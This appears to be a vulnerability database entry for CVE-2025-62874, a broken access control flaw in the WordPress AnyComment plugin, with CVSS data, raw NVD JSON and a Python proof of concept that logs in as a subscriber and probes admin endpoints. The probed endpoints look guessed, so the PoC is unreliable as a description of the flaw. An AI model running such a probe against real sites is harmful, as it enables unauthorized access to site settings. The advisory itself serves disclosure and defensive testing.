Security Vulnerability Report
中文
CVE-2025-62874 CVSS 4.3 MEDIUM

CVE-2025-62874

Published: 2025-12-31 17:15:48
Last Modified: 2026-04-23 15:34:42

Description

Missing Authorization vulnerability in Alexander AnyComment anycomment allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects AnyComment: from n/a through <= 0.3.6.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

No configuration data available.

AnyComment Plugin <= 0.3.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-62874 PoC - WordPress AnyComment Broken Access Control # Requires low-privilege WordPress account import requests import sys from urllib.parse import urljoin def exploit_anycomment_ac(url, username, password): """ Exploit Missing Authorization in AnyComment Plugin This PoC demonstrates accessing admin functions with subscriber role """ # Setup session session = requests.Session() login_url = urljoin(url, '/wp-login.php') # Login as low-privilege user login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } print(f'[*] Logging in as low-privilege user: {username}') resp = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies: print('[-] Login failed') return False print('[+] Login successful') # Try to access admin-only AnyComment endpoints targets = [ '/wp-json/anycomment/v1/settings', '/wp-json/anycomment/v1/comments', '/wp-admin/admin-ajax.php?action=anycomment_admin_action' ] print('[*] Attempting to access privileged endpoints...') for endpoint in targets: target_url = urljoin(url, endpoint) resp = session.get(target_url) if resp.status_code == 200 and 'anycomment' in resp.text.lower(): print(f'[+] VULNERABLE: {endpoint}') print(f' Response preview: {resp.text[:200]}...') else: print(f'[-] Protected: {endpoint} (Status: {resp.status_code})') return True if __name__ == '__main__': if len(sys.argv) < 4: print(f'Usage: python {sys.argv[0]} <target_url> <username> <password>') sys.exit(1) exploit_anycomment_ac(sys.argv[1], sys.argv[2], sys.argv[3])

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62874", "sourceIdentifier": "[email protected]", "published": "2025-12-31T17:15:47.617", "lastModified": "2026-04-23T15:34:42.030", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Alexander AnyComment anycomment allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects AnyComment: from n/a through <= 0.3.6."}, {"lang": "es", "value": "Vulnerabilidad por falta de autorización en Alexander AnyComment permite la explotación de niveles de seguridad de control de acceso configurados incorrectamente. Este problema afecta a AnyComment: desde n/a hasta 0.3.6."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/anycomment/vulnerability/wordpress-anycomment-plugin-0-3-6-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}